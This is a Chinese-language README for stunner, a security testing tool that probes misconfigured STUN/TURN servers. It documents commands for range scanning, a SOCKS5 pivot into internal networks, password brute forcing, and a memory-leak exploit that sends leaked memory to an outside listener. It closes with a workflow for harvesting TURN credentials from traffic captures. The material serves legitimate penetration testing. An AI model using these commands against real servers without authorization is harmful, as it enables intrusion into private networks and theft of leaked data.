firefart/stunner
GitHub: firefart/stunner
针对 STUN/TURN 协议的安全测试工具,可利用配置不当的 TURN 服务器建立 SOCKS 代理实现内网穿透。
Stars: 846 | Forks: 47
# STUNNER
Stunner 是一个用于测试和利用 STUN、TURN 以及基于 TCP 的 TURN 服务器的工具。
TURN 是一种主要用于视频会议和语音聊天 的协议。
如果你发现了一台配置不当的服务器,你可以使用该工具打开一个本地的 SOCKS 代理,通过 TURN 协议将所有流量中继到该服务器背后的内部网络中。
我是在对 Cisco Expressway 进行测试期间开发了这款工具,并由此发现了多个漏洞:[https://firefart.at/post/multiple_vulnerabilities_cisco_expressway/](https://firefart.at/post/multiple_vulnerabilities_cisco_expressway/)
为了获取所需的用户名和密码,你需要使用带外方法来提取它们,例如通过 Burp 嗅探 Web 浏览器中的 Connect 请求。我在自述文件的底部添加了一个[示例工作流](#example-workflow),介绍如何测试此类服务器。
# 许可证
本作品采用 Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License 进行许可。要查看该许可证的副本,请访问 http://creativecommons.org/licenses/by-nc-sa/4.0/ 或致信 Creative Commons, PO Box 1866, Mountain View, CA 94042, USA。
# 已实现的 RFC
STUN: [RFC 5389](https://datatracker.ietf.org/doc/html/rfc5389)
TURN: [RFC 5766](https://datatracker.ietf.org/doc/html/rfc5766)
基于 TCP 的 TURN: [RFC 6062](https://datatracker.ietf.org/doc/html/rfc6062)
TURN 的 IPv6 扩展: [RFC 6156](https://datatracker.ietf.org/doc/html/rfc6156)
# 可用命令
## info
该命令将打印有关 STUN 或 TURN 服务器的某些信息,例如支持的协议和所使用的软件等属性。
### 选项
```
--debug, -d enable debug output (default: false)
--turnserver value, -s value turn server to connect to in the format host:port
--tls Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
--timeout value connect timeout to turn server (default: 1s)
--help, -h show help (default: false)
```
### 示例
```
./stunner info -s x.x.x.x:443
```
## range-scan
该命令会尝试扫描多个专用和受限范围,以查看 TURN 服务器是否被配置为允许连接到指定的 IP 地址。如果某个特定范围未被禁止,你可以使用其他提供的命令对该范围进行进一步的枚举。如果某个 IP 是可达的,这意味着 TURN 服务器会将流量转发到该 IP。
### 选项
```
--debug, -d enable debug output (default: false)
--turnserver value, -s value turn server to connect to in the format host:port
--tls Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
--protocol value protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp")
--timeout value connect timeout to turn server (default: 1s)
--username value, -u value username for the turn server
--password value, -p value password for the turn server
--help, -h show help (default: false)
```
### 示例
基于 TCP 的 TURN 连接(从你连接到 TURN 服务器):
```
./stunner range-scan -s x.x.x.x:3478 -u username -p password --protocol tcp
```
基于 UDP 的 TURN 连接(从你连接到 TURN 服务器):
```
./stunner range-scan -s x.x.x.x:3478 -u username -p password --protocol udp
```
## socks
对于支持连接到后端 TCP 服务器的 TURN 服务器来说,这是最有用的命令之一。它将启动一个无需身份验证的本地 SOCKS5 服务器,并通过 TURN 协议中继所有的 TCP 流量(目前不支持通过 SOCKS 进行 UDP 中继)。如果服务器配置不当,它会将流量转发到内部地址,因此可以利用这一点访问内部系统,并将该服务器作为进入内部网络的代理。如果你选择同时通过 SOCKS 进行 DNS 查询,该解析将通过你本地的 nameserver 进行,因此最好使用私有的 IPv4 和 IPv6 地址进行操作。请注意,此模块只能中继 TCP 流量。
### 选项
```
--debug, -d enable debug output (default: false)
--turnserver value, -s value turn server to connect to in the format host:port
--tls Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
--protocol value protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp")
--timeout value connect timeout to turn server (default: 1s)
--username value, -u value username for the turn server
--password value, -p value password for the turn server
--listen value, -l value Address and port to listen on (default: "127.0.0.1:1080")
--drop-public, -x Drop requests to public IPs. This is handy if the target can not connect to the internet and your browser want's to check TLS certificates via the connection. (default: true)
--help, -h show help (default: false)
```
### 示例
```
./stunner socks -s x.x.x.x:3478 -u username -p password -x
```
启动代理后,打开你的浏览器,在设置中将代理指向 socks5,IP 设为 127.0.0.1:1080(请务必不要设置“绕过本地地址”选项,因为我们需要访问远程的本地地址),然后在浏览器中访问你选择的 IP。
示例:https://127.0.0.1、https://127.0.0.1:8443 或 https://[::1]:8443(这些将会从本地接口去访问被测试 TURN 服务器上的端口)。
你还可以配置 `proxychains` 来使用此代理(但这会非常慢,因为每个请求都会产生多个请求来启用代理功能)。只需编辑 `/etc/proxychains.conf` 并在 `ProxyList` 下输入 `socks5 127.0.0.1 1080` 即可。
以下是使用配置正确的 proxychains 通过此 SOCKS5 代理运行 nmap 的示例(请注意,必须使用 -sT 来执行 TCP syn 扫描,否则它不会使用 SOCKS5 代理)
```
sudo proxychains nmap -sT -p 80,443,8443 -sV 127.0.0.1
```
## brute-transports
此命令大概率不会提供太多可用信息,但有助于枚举服务器支持的所有可用传输方式(即连接到内部系统的协议)。它可能会显示一些自定义的协议实现,但大多数情况下只会返回默认值。
### 选项
```
--debug, -d enable debug output (default: false)
--turnserver value, -s value turn server to connect to in the format host:port
--tls Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
--protocol value protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp")
--timeout value connect timeout to turn server (default: 1s)
--username value, -u value username for the turn server
--password value, -p value password for the turn server
--help, -h show help (default: false)
```
### 示例
```
./stunner brute-transports -s x.x.x.x:3478 -u username -p password
```
## brute-password
此命令会针对给定的用户名,通过 TURN 协议(UDP)尝试字典文件中的所有密码。当你能从抓包中看到用户名却无法看到密码时,这会非常有用。
请注意,在这种情况下,离线暴力破解的速度要快得多。
### 选项
```
--debug, -d enable debug output (default: false)
--turnserver value, -s value turn server to connect to in the format host:port
--tls Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
--protocol value protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp")
--timeout value connect timeout to turn server (default: 1s)
--username value, -u value username for the turn server
--passfile value, -p value passwordfile to use for bruteforce
--help, -h show help (default: false)
```
### 示例
```
./stunner brute-password -s x.x.x.x:3478 -u username -p wordlist.txt
```
## memoryleak
此攻击的工作原理如下:
服务器将要发送给 `target`(在大多数情况下必须是大于 1024 的高位端口)的数据作为 TLV(Type Length Value)处理。此漏洞利用方法使用了一个较大的 length 值和一个较短的 value。如果服务器没有检查 TLV 的边界,它可能会将多达 `length` 长度的一些内存内容发送给 `target`。Cisco Expressway 已被确认存在此漏洞,但据 Cisco 表示,它仅泄漏了当前会话的内存。
### 选项
```
--debug, -d enable debug output (default: false)
--turnserver value, -s value turn server to connect to in the format host:port
--tls Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
--protocol value protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp")
--timeout value connect timeout to turn server (default: 1s)
--username value, -u value username for the turn server
--password value, -p value password for the turn server
--target value, -t value Target to leak memory to in the form host:port. Should be a public server under your control
--size value Size of the buffer to leak (default: 35510)
--help, -h show help (default: false)
```
### 示例
为了接收数据,我们需要在一台具有公网 IP 的服务器上设置一个接收端。通常,防火墙被配置为仅允许来自 TURN 服务器的大于 1024 的高位端口访问,因此在连接到互联网时,请务必使用高位端口,例如本示例中的 8080。
```
sudo nc -u -l -n -v -p 8080 | hexdump -C
```
然后在你的机器上执行以下命令,将公网 IP 添加到 `t` 参数中
```
./stunner memoryleak -s x.x.x.x:3478 -t y.y.y.y:8080 -u username -p password
```
如果奏效,你应该会看到大量内存数据传入;否则,你只会看到短消息。
## udp-scanner
如果 TURN 服务器允许连接到内部目标的 UDP 连接,则可以使用此扫描器扫描所有私有 IP 范围,并向它们发送 SNMP 和 DNS 请求。由于这会检查大量 IP,因此可能需要数天时间才能完成,请谨慎使用或通过参数指定较小的目标范围。你需要提供一个将要尝试的 SNMP community string 以及一个将在每个 IP 上被解析的域名。例如,你可以使用 Burp Collaborator 作为域名。
### 选项
```
--debug, -d enable debug output (default: false)
--turnserver value, -s value turn server to connect to in the format host:port
--tls Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
--protocol value protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp")
--timeout value connect timeout to turn server (default: 1s)
--username value, -u value username for the turn server
--password value, -p value password for the turn server
--community-string value SNMP community string to use for scanning (default: "public")
--domain value domain name to resolve on internal DNS servers during scanning
--ip value Scan single IP instead of whole private range. If left empty all private ranges are scanned. Accepts single IPs or CIDR format. (accepts multiple inputs)
--help, -h show help (default: false)
```
### 示例
```
./stunner udp-scanner -s x.x.x.x:3478 -u username -p password --ip 192.168.0.1/24 --ip 10.0.0.1/8 --domain domain.you.control.com --community-string public
```
## tcp-scanner
与 `udp-scanner` 类似,但会向指定端口发送 HTTP 请求(不支持 HTTPS)
### 选项
```
--debug, -d enable debug output (default: false)
--turnserver value, -s value turn server to connect to in the format host:port
--tls Use TLS/DTLS on connecting to the STUN or TURN server (default: false)
--protocol value protocol to use when connecting to the TURN server. Supported values: tcp and udp (default: "udp")
--timeout value connect timeout to turn server (default: 1s)
--username value, -u value username for the turn server
--password value, -p value password for the turn server
--ports value Ports to check (default: "80,443,8080,8081")
--ip value Scan single IP instead of whole private range. If left empty all private ranges are scanned. Accepts single IPs or CIDR format. (accepts multiple inputs)
--help, -h show help (default: false)
```
### 示例
```
./stunner tcp-scanner -s x.x.x.x:3478 -u username -p password --ip 192.168.0.1/24 --ip 10.0.0.1/8
```
# 示例工作流
假设你发现了一个使用 WebRTC 的服务并想对其进行测试。
第一步是获取所需的数据。我建议在后台启动 Wireshark,然后直接通过 Burp 加入会议,以收集所有的 HTTP 和 WebSocket 流量。接下来,在你的 Burp 历史记录中搜索一些与 TURN 相关的关键字,如 `3478`、`password`、`credential` 和 `username`(确保也在 websocket 选项卡中检查这些关键字)。这可能会暴露 TURN 服务器、所使用的协议(UDP 和 TCP 端点可能具有不同的端口)以及用于连接的凭据。
如果你无法在 Burp 中找到数据,请开始查看 Wireshark 以识别流量。如果它位于非标准端口上(即非 3478 端口),请在 Wireshark 中右键单击将该协议解码为 `STUN`。这将向你显示用于连接的用户名,你可以使用此信息在 Burp 的历史记录中进一步搜索所需的数据。请注意,Wireshark 无法向你显示密码,因为密码用于对某些数据包内容进行哈希处理,因此无法逆推。
下一步是使用从 Burp 获取的正确端口和协议向 TURN 服务器发出 `info` 命令。
如果此步骤成功,接下来的步骤是执行 `range-scan`。如果它允许任何流量流向内部系统,你可以对此进行进一步利用,但请注意 UDP 的用例有限。
如果允许连接到内部系统的 TCP 连接,只需启动 `socks` 命令,并通过浏览器访问被允许的 IP,并将 SOCKS 代理设置为 127.0.0.1:1080 即可。你可以尝试访问 127.0.0.1:443 及其他 IP,以寻找管理界面。
标签:Cisco Expressway, EVTX分析, Go语言, SOCKS代理, SOCKS代理隧道, STUN, TURN, TURN over TCP, VoIP安全, WebRTC, 内网漫游, 协议安全测试, 日志审计, 流量中继, 程序破解, 网络嗅探, 网络穿透, 防御绕过